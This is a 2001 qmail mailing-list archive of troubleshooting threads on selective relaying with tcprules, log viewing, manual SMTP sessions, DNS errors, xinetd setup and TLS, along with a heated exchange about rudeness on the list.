 Yet, when I run tcprulescheck, I get this:
 
 [root@cilinux /etc]# tcprulescheck /etc/tcp.smtp.cdb
 default:
 allow connection
 [root@cilinux /etc]#
 
 If I run tcprulescheck /etc/tcp.smtp.cdb 192.168.10. I get the same output
 as above.

How are you calling tcprulescheck?  It needs the environment variable.
Try the following:

  TCPREMOTEIP=192.168.10.4 tcprulescheck /etc/tcp.smtp.cdb
 
Charles
-- 
---
Charles Cazabon[EMAIL PROTECTED]
GPL'ed software available at:  http://www.qcc.sk.ca/~charlesc/software/
---



mystery failure notice

2001-08-01 Thread Virginia Chism

I received a failure notice concerning an email I did not send.  I am
attempting to track down how this happened and have hit a wall.  When I do
'tail -f /var/log/maillog' I get current activity.  If I do 'more
/var/log/maillog' it goes all the way back to day one and I don't have time
to slog through FOUR YEARS of maillog when what I need was a couple of days
ago.  Is there any way to select a certain number of items to view in this
log?




Re: mystery failure notice

2001-08-01 Thread Greg White

On Wed, Aug 01, 2001 at 10:34:27AM -0500, Virginia Chism wrote:
 I received a failure notice concerning an email I did not send.  I am
 attempting to track down how this happened and have hit a wall.  When I do
 'tail -f /var/log/maillog' I get current activity.  If I do 'more
 /var/log/maillog' it goes all the way back to day one and I don't have time
 to slog through FOUR YEARS of maillog when what I need was a couple of days
 ago.  Is there any way to select a certain number of items to view in this
 log?
 

This has nothing whatsoever to do with qmail. This is a basic sysadmin
question.

Hint -- grep is your friend. Look into the -A option if it exists on
your system. 

man grep

-- 
Greg White



RE: Selective Relaying and tcprulescheck

2001-08-01 Thread Scott Zielsdorf

Thanks Philipp and Charles for the help on this.

Once I set the TCPREMOTEIP variable I did see the rule which now leads me to
the discovery that my Windows workstations - which are DHCP clients - do not
have entries in my DNS. So when qmail does the reverse look up, it can't
resolve the IP.
Short of going off DHCP and putting all my workstations in my DNS, is there
any way to fix this?

Thanks.

 -Original Message-
 From: Philipp Steinkrüger
 Sent: Wednesday, August 01, 2001 10:33 AM

 you have to set and probably export (someone correct me if i am
 wrong here)
 $TCPREMOTEIP before invoking tcprules check. then, tcprulescheck
 will tell you what will happen to a connection from the ip in
$TCPREMOTEIP.




Re: ezmlm idx + ezmlm web + setuid

2001-08-01 Thread Bernhard Graf

Hi lkirchhoff,

 i've  just installed the ezmlm 0.53 with idx 0.4 and 
 tried to run  ezmlm-web.cgi. The problem is that the 
 lists are always created in the /tmp dir. I tried to 
 set up the  /var/qmail/alias dir in the  ezmlmwebrc, 
 but  then  i  had  an   error with qmail [homedir is 
 writeable]. This is  because the setuid of the  cgi- 
 wrapper  isn't working correctly, so i had to change 
 the dir mode to 777.
 
 Here is the ls output of cgi-bin dir:
 drwxr-xr-x   2 root root 4096 Aug  1 15:26 ./
 drwxr-xr-x   4 root root 4096 Aug  1 15:19 ../
 -rwsr-xr-x   1 aliasusers   11411 Jul 31 12:38 ezmlm-startweb.cgi*
 
 I thought that  this will  cause that  the script is 
 running  under   the  user  alias  and  the  created  
 directories will be  owned by him.  But all dirs are 
 still created from wwwrun. 
 Is there a special  setup needed  for apache, that i
 can execute suid scripts?
 Why are the dirs still created by wwwrun?

1. mailto:[EMAIL PROTECTED]
2. forget about the cgi-wrapper that comes with ezmlm-web
3. read http://httpd.apache.org/docs/suexec.html
4. read about suexec wrapper in INSTALL file in apache source directory

bye
-- 
Bernhard Graf [EMAIL PROTECTED]



RE: Selective Relaying and tcprulescheck

2001-08-01 Thread Lukas Beeler

At 11:14 01.08.2001 -0500, Scott Zielsdorf wrote:
Once I set the TCPREMOTEIP variable I did see the rule which now leads me to
the discovery that my Windows workstations - which are DHCP clients - do not
have entries in my DNS.

so far, so good. but tell me, what does the TCPREMOTEIP Variable have to 
with DNS ?

So when qmail does the reverse look up, it can't
resolve the IP.

yes, but where's the problem ?

Short of going off DHCP and putting all my workstations in my DNS, is there
any way to fix this?

fix what ? everything will work, even without ptr records...


-- 
--/-/-- Lukas Beeler  [EMAIL PROTECTED] ---\-\--
   \ \  My HomePage: URL:http://www.projectdream.org  / /




Re: Selective Relaying and tcprulescheck

2001-08-01 Thread Charles Cazabon

Scott Zielsdorf [EMAIL PROTECTED] wrote:
 
 Once I set the TCPREMOTEIP variable I did see the rule which now leads me to
 the discovery that my Windows workstations - which are DHCP clients - do not
 have entries in my DNS. So when qmail does the reverse look up, it can't
 resolve the IP.

This shouldn't be a problem if you're setting RELAYCLIENT by IP address
instead of by hostname/domainname.  Even if you're operating tcpserver
in paranoid mode, it only unsets TCPREMOTEHOST if forward and reverse
lookups don't match.

 Short of going off DHCP and putting all my workstations in my DNS, is there
 any way to fix this?

You can stay on DHCP; simply add PTR records for the IP addresses the
DHCP server hands out.  Is it possible that your workstations are being
NATed so that the IP address the mail server sees is not one of the ones
you've configured for relaying?

Charles
-- 
---
Charles Cazabon[EMAIL PROTECTED]
GPL'ed software available at:  http://www.qcc.sk.ca/~charlesc/software/
---



Re: Selective Relaying and tcprulescheck

2001-08-01 Thread Greg White

On Wed, Aug 01, 2001 at 11:14:43AM -0500, Scott Zielsdorf wrote:
 Thanks Philipp and Charles for the help on this.
 
 Once I set the TCPREMOTEIP variable I did see the rule which now leads me to
 the discovery that my Windows workstations - which are DHCP clients - do not
 have entries in my DNS. So when qmail does the reverse look up, it can't
 resolve the IP.
 Short of going off DHCP and putting all my workstations in my DNS, is there
 any way to fix this?
 
 Thanks.

What, precisely, needs 'fixing'? Reverse lookup is not a requirement.
Reverse lookup does not 'resolve IPs' -- it gives a PTR to an A record
for the host. TCPREMOTEIP is set based on the connection -- the address
is known, not looked up. What problem are you trying to solve?

GW




RE: Selective Relaying and tcprulescheck

2001-08-01 Thread Scott Zielsdorf

At 11:37 01.08.2001 -0500, Lukas Beeler wrote:

 At 11:14 01.08.2001 -0500, Scott Zielsdorf wrote:
 Once I set the TCPREMOTEIP variable I did see the rule which now
 leads me to
 the discovery that my Windows workstations - which are DHCP
 clients - do not
 have entries in my DNS.

 so far, so good. but tell me, what does the TCPREMOTEIP Variable have to
 with DNS ?

Ummm...nothing, at this stage, I would guess.

 So when qmail does the reverse look up, it can't
 resolve the IP.

 yes, but where's the problem ?


The problem is RELAYCLIENT doesn't get set and therefore the relaying rules
in tcp.smtp.cdb do not get invoked - apparently.
The headers in testing show the dialogue between any workstation on my net
with qmail smtp as HELO (machine name) (unknown)
So, I am *assuming* that even though I have -H (Do Not Look Up Remote Host
Name) set in the run file invoking smtp that
somesort of lookup is being done and when it can't resolve I get the
Sorry...you're not in my rcpthosts file message.

 Short of going off DHCP and putting all my workstations in my
 DNS, is there
 any way to fix this?

 fix what ? everything will work, even without ptr records...

Alas, NOTHING works with respect to selective relaying. Is it maybe a Linux
net configuration issue? And to re-iterate from an earlier post, I have
followed installation to the letter from LWQ.

Thanks,
Scott




CNAME lookup failure (strange problem)

2001-08-01 Thread Willy De la Court

Hi,

in a bounce message i got this

[EMAIL PROTECTED]:
CNAME lookup failed temporarily. (#4.4.3)

Both sending and receiving mail server use the qmail rpm's from bruce.
so the big-dns patch is applied.
The domain quint.be is under my control.
I really don't understand it because in the dns i never used a CNAME.

Can anybody explain this.

Willy De la Court
Quint NV NS



RE: Selective Relaying and tcprulescheck

2001-08-01 Thread Lukas Beeler

At 12:00 01.08.2001 -0500, Scott Zielsdorf wrote:
At 11:37 01.08.2001 -0500, Lukas Beeler wrote:
  So when qmail does the reverse look up, it can't
  resolve the IP.
 
  yes, but where's the problem ?
 

The problem is RELAYCLIENT doesn't get set and therefore the relaying rules
in tcp.smtp.cdb do not get invoked - apparently.

the rules in tcp.smtp have to be set for ip adresses and not for domain names
so if you set them correctly they WILL get invoked..

The headers in testing show the dialogue between any workstation on my net
with qmail smtp as HELO (machine name) (unknown)

yes, because the machine doesnt have a PTR record, but that shouldnt make a 
problem

So, I am *assuming* that even though I have -H (Do Not Look Up Remote Host
Name) set in the run file invoking smtp that
somesort of lookup is being done and when it can't resolve I get the
Sorry...you're not in my rcpthosts file message.
it looks like your tcp.smtp file is set up incorrectly. tcpserver gets the 
remote ip adress from the connection handshake, and thats not any kind of 
look up


  Short of going off DHCP and putting all my workstations in my
  DNS, is there
  any way to fix this?
 
  fix what ? everything will work, even without ptr records...

Alas, NOTHING works with respect to selective relaying. Is it maybe a Linux
net configuration issue? And to re-iterate from an earlier post, I have
followed installation to the letter from LWQ.

selective relaying does not need reverse lookups, it i IP based.
i have an private lan running [10.10.1.x adresses] whitout any server that 
is authoritive for 10.10.in-addr.arpa, and it still works, of course.
i have the following line in tcp.smtp
10.10.:allow,RELAYCLIENT=
as you see, we have ip adresses there, and they have nothing to do with PTR 
records..


-- 
--/-/-- Lukas Beeler  [EMAIL PROTECTED] ---\-\--
   \ \  My HomePage: URL:http://www.projectdream.org  / /




Re: Selective Relaying and tcprulescheck

2001-08-01 Thread Philipp Steinkrüger

Scott Zielsdorf writes:

 Thanks Philipp and Charles for the help on this. 
 
 Once I set the TCPREMOTEIP variable I did see the rule which now leads me to
 the discovery that my Windows workstations - which are DHCP clients - do not
 have entries in my DNS. So when qmail does the reverse look up, it can't
 resolve the IP.
 Short of going off DHCP and putting all my workstations in my DNS, is there
 any way to fix this? 
 

reverse lookop is not the problem. you habe IPs in your tcp.smtp file.
you can add a export NODNSCHECK= in the qmail-startup file before
invoking the smtpd, but thats not the problem. 

what about charles idea about NAT ? 

did you telnet to port 25 from one of the clients and watch the qmail 
logfile ? can you cut and paste a logged try ? 


regards,
philipp 

 


 
Philipp Steinkrüger 

Technik
Oberberg Online
Tel.: +49 2261 814240
Fax: +49 2261 814919
www.oberberg.net
[EMAIL PROTECTED] 



RES: Message without Subject and From!!!

2001-08-01 Thread Daniel Abad

Ok, I telnet at 25 and compose a message, with mail from: , rcpt to: anda
data (.) . 

When I received this from my Outlook or Webmail, the message is empty! Only
the time appears! 

Tks.

Daniel

-Mensagem original-
De: Charles Cazabon [mailto:[EMAIL PROTECTED]]
Enviada em: Quarta-feira, 1 de Agosto de 2001 11:35
Para: [EMAIL PROTECTED]
Assunto: Re: Message without Subject and From!!!


Daniel Abad [EMAIL PROTECTED] wrote:
 
 When a send a message to my virtual user, I check it from telnet and it's
 without subject and from!! What should I do?? 

Compose your message differently.  The From: and Subject: fields in
the message header are completely optional.

This isn't a qmail issue.  See the documentation for your MUA for
further details.

Charles
-- 
---
Charles Cazabon[EMAIL PROTECTED]
GPL'ed software available at:  http://www.qcc.sk.ca/~charlesc/software/
---



Re: RES: Message without Subject and From!!!

2001-08-01 Thread Henning Brauer

On Wed, Aug 01, 2001 at 04:15:55PM -0300, Daniel Abad wrote:
 Ok, I telnet at 25 and compose a message, with mail from: , rcpt to: anda
 data (.) .  
 When I received this from my Outlook or Webmail, the message is empty! Only
 the time appears! 

http://www.ietf.org/rfc/rfc2821.txt
http://www.ietf.org/rfc/rfc2822.txt

really.

If you don't have From:, To:, Subject: and Date: Headers between 
DATA
and
.
no MUA will show them.

A senseful telnet session to an MTA looks like

telnet [mtaip] 25
220 [mtahost] ESMTP
EHLO [hostname]
250 [host]
250 [multiple feature lines]
MAIL FROM: [envelope sender]
250 ok
RCPT TO: [recipient]
250 ok
DATA
354 go ahead
From: Name email address
To: Name email address
Subject: a senseful subject
Date: a correct datestring

The text appearing in the body
.

250 ok [ts] qp [inode]
QUIT

-- 
* Henning Brauer, [EMAIL PROTECTED], http://www.bsws.de *
* Roedingsmarkt 14, 20459 Hamburg, Germany   *
Unix is very simple, but it takes a genius to understand the simplicity.
(Dennis Ritchie)



Re: RES: Message without Subject and From!!!

2001-08-01 Thread Greg White

On Wed, Aug 01, 2001 at 04:15:55PM -0300, Daniel Abad wrote:
 Ok, I telnet at 25 and compose a message, with mail from: , rcpt to: anda
 data (.) . 
 
 When I received this from my Outlook or Webmail, the message is empty! Only
 the time appears! 
 
 Tks.
 
 Daniel

Please learn to speak SMTP -- you're not sending any To or From headers,
just envelope-from and envelope-to. A proper conversation reads a little
like this, for your side of it:

HELO example.com
MAIL FROM:[EMAIL PROTECTED]
RCPT TO:[EMAIL PROTECTED]
DATA
From: Joe Blow [EMAIL PROTECTED]
To: Jim Blow [EMAIL PROTECTED]
Subject: Testing my SMTP

This is a test.

.



That will do what you're expecting.

GW



Re: RES: Message without Subject and From!!!

2001-08-01 Thread Robin S. Socha

On Wed, Aug 01, 2001 at 04:15:55PM -0300, Daniel Abad wrote:
 Charles Cazabon [mailto:[EMAIL PROTECTED]]
  Daniel Abad [EMAIL PROTECTED] wrote:

Look, dude, I reformatted your message to give it a minimum amount of
meaning. Do not ever *think* about hitting reply before you've fully
read and understood http://learn.to/edit_messages/

   When a send a message to my virtual user, I check it from telnet
   and it's without subject and from!! What should I do?? 

  Compose your message differently.  The From: and Subject:
  fields in the message header are completely optional.

 Ok, I telnet at 25 and compose a message, with mail from: , rcpt to:
 anda data (.) . 

Yeah. So? What does the message look like in its original form then?

  This isn't a qmail issue.  See the documentation for your MUA for
  further details.

 When I received this from my Outlook or Webmail, the message is
 empty! Only the time appears! 

MUA is Mail User Agent. The crap you're sending your messages with is
an MUA. Got it? And if no appropriate help is available for Outlook,
complain to the wankers in Redmond who *SOLD* you this shit. This is a
technical list for a Unix MTA, ok?

Oh yeah... Apart from the fact that I don't speak Portuñol (or even
intend to learn it), this is crap, too:

MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain; charset=iso-8859-1
-- 
Robin S. Socha - Do not send me Cc:s. Ever.



RE: CNAME lookup failure (strange problem)

2001-08-01 Thread Willy De la Court


On Wednesday, August 01, 2001 20:19, Tom Beer [SMTP:[EMAIL PROTECTED]] 
wrote:
  in a bounce message i got this
 
  [EMAIL PROTECTED]:
  CNAME lookup failed temporarily. (#4.4.3)

to clarify
[EMAIL PROTECTED]:
CNAME lookup failed temporarily. (#4.4.3)
I'm not going to try again; this message has been in the queue too long.


 This is a DNS related problem. The lookup for the
 cannonical name quint.be is temporarily broken
 (BIND + dialup connection?)
Ok it's an adsl connection that reconnects after 10 mins if the connection 
is broken. it would be strange that every time qmail tried to send the 
message the connection would be down.


 But it's only temporary and qmail tries again (#4.4.3)
   
Sure for one week or the default queue time i got 2 msgs like that and in 
between the time the msg was submitted and the time the bounce arrived i 
got several msgs from the same machine to the same account.
By my knowledge the dns has not been down either.

 Tom

Willy De la Court
Quint NV NS




Robin Socha, this is a plea.

2001-08-01 Thread Jeff Palmer


Can anyone say 'anger management course'?

Good lord man,

You don't have to get so disrespectful and nasty just because someone does
not read,sleep,eat, and breathe a particular RFC or protocal.

Lighten up.  You were a newbie at some point,  as was EVERYONE else.
Nobody was born an SMTP god. Nor a unix god for that matter.

I won't butt heads,  nor argue with you.   We are both much too
intelligent for that.  I have noticed however that there is a LOT of
disrespect,  and hate on this list since I subscribed. And a lot of it
has to do with the simple fact that you (not just Robin, this is directed
at quite a few of you!) seem to forget that you had to learn SMTP like
everyone else.

Granted,  a lot of the emails to this list could be handled if the person
would just read the FAQ. But the simple truth is,  it's not going to
happen.  Human nature is against you here.  Ask any behavioral scientist.
Human nature is not digging through tons of documentation to find a
'simple' answer.  Humans are lazy.   Human nature is  I'll ask this
question on a list,  then go back the next day,  and get the answer
simply because it's easier than reading the docs.

Face reality.  You are looking for an idealistic world.   You need to see
that we live in THIS world,  and not many people are going to conform to
your ideals.

So,  in closing.  Follow your mothers advice.  If you don't have anything
nice to say,  don't say anything at all?

You offer good advice to the members on this list,  I do not deny or
dispute that.

I enclose the following snip,  please Robin (and others),   take a moment
and re-read it.  I'm trying to appeal to your intelligent side,  not your
hot-headed (and possibly a little egotistical?) side.


 MUA is Mail User Agent. The crap you're sending your messages with is
 an MUA. Got it? And if no appropriate help is available for Outlook,
 complain to the wankers in Redmond who *SOLD* you this shit. This is a
 technical list for a Unix MTA, ok?

 Oh yeah... Apart from the fact that I don't speak Portuñol (or even
 intend to learn it), this is crap, too:
snip

Kind regards,


Jeff Palmer
[EMAIL PROTECTED]


P.S.  I did indeed read the message about not CC'ing you..




qmail-remote hanging on DNS query?

2001-08-01 Thread FarPoint Technologies

I've hit an odd problem with qmail-remote.

With one of our ISP's DNS servers set as primary, qmail-remote will hang 
indefinitely on some addresses.  The DNS server in question responds fine 
to dig queries.

Example:
First DNS server in resolv.conf  is 205.152.0.20
Run the following command:  (testfile contains a email message)
cat testfile | /var/qmail/bin/qmail-remote mindspring.com 
[EMAIL PROTECTED] [EMAIL PROTECTED]

qmail-remote will hang forever.  If I change the primary DNS server to 
another one then everything works fine.

An strace of qmail-remote shows:
connect(3, {sin_family=AF_INET, sin_port=htons(53), 
sin_addr=inet_addr(205.152.0.20)}}, 16) = 0
send(3, \250t\1\0\0\1\0\0\0\0\0\0\nmindspring\3com\0\0\377\0\1..., 32, 0) 
= 32
time(NULL)  = 996696004
poll([{fd=3, events=POLLIN, revents=POLLIN}], 1, 5000) = 1
recvfrom(3, \250t\203\200\0\1\0\25\0\0\0\0\nmindspring\3com\0\0\377..., 
513, 0, {sin_family=AF_INET, sin_port=htons(53), 
sin_addr=inet_addr(205.152.0.20)}}, [16]) = 503
close(3)= 0
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
connect(3, {sin_family=AF_INET, sin_port=htons(53), 
sin_addr=inet_addr(205.152.0.20)}}, 16) = 0
writev(3, [{\0 , 2}, 
{\250t\1\0\0\1\0\0\0\0\0\0\nmindspring\3com\0\0\377\0\1..., 32}], 2) = 34
read(3,

and dies there.

I wouldn't expect a DNS server to be able to kill qmail-remote.  Make it 
exit with an error, sure.
Our setup is qmail-1.03 on a Linux server.  The DNS patch has been applied.

Any thoughts appreciated...

--Brian
--
FarPoint 
Technologies
Phones:
Tech Supt. - 919-460-1887   
Sales - 
800-645-5913Main - 919-460-4551
FTP - 
ftp.fpoint.com  /fpoint.com
WEB - www.fpoint.com
Sales email: 
[EMAIL PROTECTED]
Technical support: 
[EMAIL PROTECTED]
---




RE: Robin Socha, this is a plea.

2001-08-01 Thread Bill Andersen

Jeff,

  You are wasting your time.  Robin is just gonna hit you with
  his BS now...  Don't take me wrong, I AGREE with YOU.  But
  I went down that road with Robin and it didn't do any good.
  And it never will.  I don't think he had a mother and it's
  obvious his father beat him regularly... hence the anger.

  Now we'll see if he replies to this.  He shouldn't, since I
  use Outlook and he's already said he filters out all Outlook
  mail from this list.  If he replies, we'll know he lying
  there too...

./bill

 -Original Message-
 From: Jeff Palmer [mailto:[EMAIL PROTECTED]]
 Sent: Wednesday, August 01, 2001 3:10 PM
 To: [EMAIL PROTECTED]
 Cc: Robin S. Socha
 Subject: Robin Socha, this is a plea.
 
 
 
 Can anyone say 'anger management course'?
 

snip

 Jeff Palmer
 [EMAIL PROTECTED]
 
 
 P.S.  I did indeed read the message about not CC'ing you..
 
 



anger management courses

2001-08-01 Thread Robin S. Socha

On Wed, Aug 01, 2001 at 04:10:13PM -0400, Jeff Palmer wrote:
 
 Can anyone say 'anger management course'?

Anger mangama... Angre mgnma

Nope.

 Good lord man,

Call me Robin.

 Lighten up.  You were a newbie at some point,  as was EVERYONE else.
 Nobody was born an SMTP god. Nor a unix god for that matter.

I am a newbie. I know basically fsck all about qmail or anything else.
I pale in comparison to all the Good People(tm) who've helped me here.
Russ, Dave, Charles, Sam, Ken, Peter... and many more. Why did they
help me? Because:

 Granted,  a lot of the emails to this list could be handled if the person
 would just read the FAQ. But the simple truth is,  it's not going to
 happen.  

Well... it happened to me. And the remaining braindamage was cured by
the abovementioned d00d3s and many others. Because I did read the FAQ,
and I did post meaningful error messages. That's the one difference
that made all the difference. What do we learn from this? You can be
an asshole, but people will help you with a technical problem if you
play by their rules.

 P.S.  I did indeed read the message about not CC'ing you..

Did I ever express my eternal gratefulness to Jason for adding
killfile capabilities to tmda? THANK YOU, JASON! reply-to set.
-- 
Robin S. Socha - Your Worst Network Nightmare(tm).
`In Germany, they are not referred to as network administrators. They
prefer to be called Sons Of The Third Reich.' (Kate: www.katewerk.com)



Selective Relaying/tcprules check SOLVED!

2001-08-01 Thread Scott Zielsdorf

All,

I am STUPID. I did not know and consequently did not mention that my qmail
was running on my Redhat 7 running xinetd and NOT inetd. xinetd is, as far
as I can find, not covered in the LWQ or 1.03 Install procedure. I installed
tcpserver as LWQ said I should but the xinetd.d/smtp config file was in
charge and it was NOT calling tcpserver but using itself which meant that
tcp.smtp.cdb was not being invoked.

Found this on a web page, I forget where, but it has saved my butt. Thanks
to the guy who posted this:

xinetd.d/smtp config file:

{
   flags   = NAMEINARGS
   socket_type = stream
   wait= no
   user= qmaild
   server  = /usr/sbin/tcpd
   server_args = /var/qmail/bin/tcp-env
/var/qmail/bin/qmail-smtpd
   disable = no

}

I rebooted and now selective relaying is working like a champ.

Thanks for all the responses and suggestions to my stupid problem, it has
been quite a learning experience.

Scott Zielsdorf
Senior Technical Support Consultant
Computer Instruments IVR Solutions Support Group
Voice: 913.492.1888 x8862 Fax: 913.492.1483




Re: Selective Relaying/tcprules check SOLVED!

2001-08-01 Thread Lukas Beeler

At 15:58 01.08.2001 -0500, Scott Zielsdorf wrote:
I am STUPID.

nope. inetd / xinetd is stupid

I did not know and consequently did not mention that my qmail
was running on my Redhat 7 running xinetd and NOT inetd.

inetd sucks

  xinetd is, as far
as I can find, not covered in the LWQ or 1.03 Install procedure.

yes
and why ? because it suxx. Use daemontools instead, you would have MUCH 
less problems. convert your existing inetd services to daemontools, iam 
sure you will be confident with the result.


-- 
--/-/-- Lukas Beeler  [EMAIL PROTECTED] ---\-\--
   \ \  My HomePage: URL:http://www.projectdream.org  / /




Re: Selective Relaying/tcprules check SOLVED!

2001-08-01 Thread Robin S. Socha

On Wed, Aug 01, 2001 at 03:58:01PM -0500, Scott Zielsdorf wrote:
 I am STUPID.
 xinetd.d/smtp config file:
 I rebooted and now selective relaying is working like a champ.
 Senior Technical Support Consultant

Taking this four lines together, the first line makes a lot of
sense... Who on earth gave you root? Hint: man kill



dns.o compilation errors

2001-08-01 Thread Proc Meminfo

Hey, I am receiving the following errors while doing 'make setup check':

dns.o: In function 'resolve':
dns.o(.text+0xf8): undefined reference to '__dn_expand'
dns.o: In function 'findname':
dns.o(.text+0x1bc): undefined reference to '__dn_expand'
dns.o(.text+0x24c): undefined reference to '__dn_expand'
dns.o: In function 'findip':
dns.o(.text+0x2ae): undefined reference to '__dn_expand'
dns.o: In function 'findmx':
dns.o(.text+0x3ac): undefined reference to '__dn_expand'
dns.o(.text+0x45a): more undefined references to '__dn_expand' follow
dns.o: In function 'dns_init':
dns.o(.text+0x4a3): undefined reference to '__res_search'
dns.o(.data+0xc): undefined reference to '__res_query'
collect2: ld returned 1 exit status
make: *** [qmail-remote] Error 1


I am running RedHat 7.1, have tried everything i could find on the mailing
list archive, have tried updating to gcc-3.0, downgrading to gcc-2.95 and
reinstalling RedHat 7.1.

It is quit odd because it has worked on 7.1 before, and on this machine
before, however, I have reinstalled several times, and all I can get it
this.  

Does anybody know how to correct this problem?





_
Free email with personality! Over 200 domains!
http://www.MyOwnEmail.com




RE: Selective Relaying/tcprules check SOLVED!

2001-08-01 Thread Scott Zielsdorf

LOL! I love abuse!

I gave myself root, my box. I'm a SCO guy or was. First linux I've ever
logged into. Three days ago. Not by choice. So...
I don't care if XINET sucks - which from what I read else where that is
debatable (XINET replaces INET) - and I don't care that Robin lifted his leg
and pissed on me, it was all worth it. Now I can go back to tending my other
hardware and not have to do this linux email job!

And, I likely quoted Robin wrong. Don't care either. Using my own words
against me...hey...I'm on top of the world at the moment. It may change
tomorrow but tomorrow's a whole 'nother day.

Thanks again.

 -Original Message-
 From: Robin S. Socha [mailto:[EMAIL PROTECTED]]
 Sent: Wednesday, August 01, 2001 4:05 PM
 To: Qmail List
 Subject: Re: Selective Relaying/tcprules check SOLVED!


 On Wed, Aug 01, 2001 at 03:58:01PM -0500, Scott Zielsdorf wrote:
  I am STUPID.
  xinetd.d/smtp config file:
  I rebooted and now selective relaying is working like a champ.
  Senior Technical Support Consultant

 Taking this four lines together, the first line makes a lot of
 sense... Who on earth gave you root? Hint: man kill





RE: Selective Relaying/tcprules check SOLVED!

2001-08-01 Thread Lukas Beeler

At 16:20 01.08.2001 -0500, Scott Zielsdorf wrote:
LOL! I love abuse!

i not

I gave myself root, my box. I'm a SCO guy or was. First linux I've ever
logged into. Three days ago. Not by choice. So...

if it is your box, why did you install an OS you don't like ?

I don't care if XINET sucks - which from what I read else where that is
debatable (XINET replaces INET)

and daemontools/tcpserver fully replace xinetD and inetD

- and I don't care that Robin lifted his leg
and pissed on me, it was all worth it.

thats good so.. he makes that by everybody.. i would wonder if he would'nt 
try to piss on djb ;)

Now I can go back to tending my other
hardware and not have to do this linux email job!

why did you start to do something you don't like ?

And, I likely quoted Robin wrong.

you can't do anything right, if robin decides otherwise

  Don't care either. Using my own words
against me...hey...I'm on top of the world at the moment.

what did you smoke ? ;)

  It may change
tomorrow but tomorrow's a whole 'nother day.

it's just an advise to use daemontols instead of *inetd



-- 
--/-/-- Lukas Beeler  [EMAIL PROTECTED] ---\-\--
   \ \  My HomePage: URL:http://www.projectdream.org  / /




Re: mystery failure notice

2001-08-01 Thread Rudy Zung

On Wed, Aug 01, 2001 at 10:34:27AM -0500, Virginia Chism wrote:
 I received a failure notice concerning an email I did not send.  I am
 attempting to track down how this happened and have hit a wall.  When I do
 'tail -f /var/log/maillog' I get current activity.  If I do 'more
 /var/log/maillog' it goes all the way back to day one and I don't have time
 to slog through FOUR YEARS of maillog when what I need was a couple of days
 ago.  Is there any way to select a certain number of items to view in this
 log?


   tail -200 /var/log/maillog

will get you the last 200 lines in the file. I usually do it as

   tail -200 /var/log/maillog | more

and adjust the tail number-of-lines argument to get me to the date range
that I want.

-- 

...Ru   (a low-cost superhero)
   On, on! Blue skies. Think snow.
   1740484I 998300172 076662 82968/A17215 045124P E286/184435
   975-203608 11859 DS1160 



qmail on AFS

2001-08-01 Thread Rudy Zung

[Don't remember if I've already posted this; sorry if it's a repeat.]

Trying to run qmail with Maildir on a Slackware with AFS. The AFS is
installed and runs properly. Users' home volumes and Maildir are on AFS. 
Qmail is generating temporary delivery errors; the mail never gets delivered.

I've searched the archives but haven't found a solution, just tantalizing
hints that other people have done this type of install also.

I've even tried fs setacl on the Maildir, the cur and tmp directories to be
system:anyuser rlidwka, but still no success.

So, what's the magic configuration that allows qmail to work before go off
and start writing cron jobs that automate the AFS/kerberos tokens renewal?


-- 

...Ru   (a low-cost superhero)
   On, on! Blue skies. Think snow.
   1740484I 998300172 076662 82968/A17215 045124P E286/184435
   975-203608 11859 DS1160 



Re: qmail on AFS

2001-08-01 Thread Greg White

On Wed, Aug 01, 2001 at 05:17:46PM -0400, Rudy Zung wrote:
 [Don't remember if I've already posted this; sorry if it's a repeat.]
 
 Trying to run qmail with Maildir on a Slackware with AFS. The AFS is
 installed and runs properly. Users' home volumes and Maildir are on AFS. 
 Qmail is generating temporary delivery errors; the mail never gets delivered.

Seeing the temporary delivery errors would likely be helpful here.
What Do the Logs Say?

GW



Reducing Time-Out for Unresolved Hosts

2001-08-01 Thread Security User
Title: Reducing Time-Out for Unresolved Hosts





I've been lurking for about a week now - and I have a fairly simple question, that maybe someone can help me with.


By default I noticed that qmail waits 7 days before sending an error message back to a user indicating that a message was undeliverable in the case where a user miskeys the domain portion of the e-mail address to a domain with a non-existant MX record.

I created a queuelifetime file in the /qmail/control/ directory and decreased that timeout to 86,400 seconds or one-day by just putting 86400 in the queuelifetime file. 

Is this the correct procedure? Also will this override the default value of attempting to deliver a message for 7 days? My ultimate goal is really to just have a warning message passed back to a user in under a day, so a user can check to see if he/she made a typo when composing the e-mail. But I still wouldn't mind qmail attempting the delivery for around 4 days in case the other parties' DNS/Mail server is down.

Thanks for any help!


Amit Kalra
Information Security Officer
Bondbook, LLC
Office: (212) 406-6370
Pager: (718) 304-5164
 Kalra, Amit.vcf 







This message is intended only for the personal and confidential use of the designated recipient (s) named above. If you are not the intended recipient of this message you are hereby notified that any dissemination, distribution or copying of this message is strictly prohibited. 



 Kalra, Amit.vcf


RE: TLS implementation.

2001-08-01 Thread McHugh, Sean

However, after thinking about it.  I send and recieve over 75000 messages a
day.
I do not want to use TLS indiscriminately for every SMTP host.  I have only
a few places to send to where mail _needs_ to be encrypted. so how do
_selectively_ tell qmail to use
tls for certain hosts and not others ? and how do i tell qmail to use normal
SMTP for everyone, but force TLS for certain smtp servers sending in ?  MMDF
has this functionality.

sean

-Original Message-
From: MarkD [mailto:[EMAIL PROTECTED]]
Sent: Tuesday, July 31, 2001 4:38 PM
To: '[EMAIL PROTECTED]'
Subject: Re: TLS implementation.


TLS negotiated after the connection is established (basically they
send STARTTLS and take note of the response code). You should not need
to configure anything. What makes you think you need to do this?


Regards.


On Tue, Jul 31, 2001 at 04:24:53PM -0400, McHugh, Sean allegedly wrote:
 We almost have qmail with TLS.patch working on Solaris 8 (x86).  Server
 allows starttls
 command and patch installed fine.  We are a little stuck at the point
where
 we specify 
 what host we want qmail-remote to invoke TLS for and what hosts we want
 qmail-smtpd to force to
 use TLS in sending to us.  The patch documentation is not clear on how
this
 is done.  Can anyone
 give me clue ?  Is there a HOW-TO:Qmail/TLS for dummies like us ?
 
 sean



Re: dns.o compilation errors

2001-08-01 Thread Greg White

On Wed, Aug 01, 2001 at 04:14:16PM -0500, Proc Meminfo wrote:
 Hey, I am receiving the following errors while doing 'make setup check':
 
 dns.o: In function 'resolve':
 dns.o(.text+0xf8): undefined reference to '__dn_expand'
 dns.o: In function 'findname':
 dns.o(.text+0x1bc): undefined reference to '__dn_expand'
 dns.o(.text+0x24c): undefined reference to '__dn_expand'
 dns.o: In function 'findip':
 dns.o(.text+0x2ae): undefined reference to '__dn_expand'
 dns.o: In function 'findmx':
 dns.o(.text+0x3ac): undefined reference to '__dn_expand'
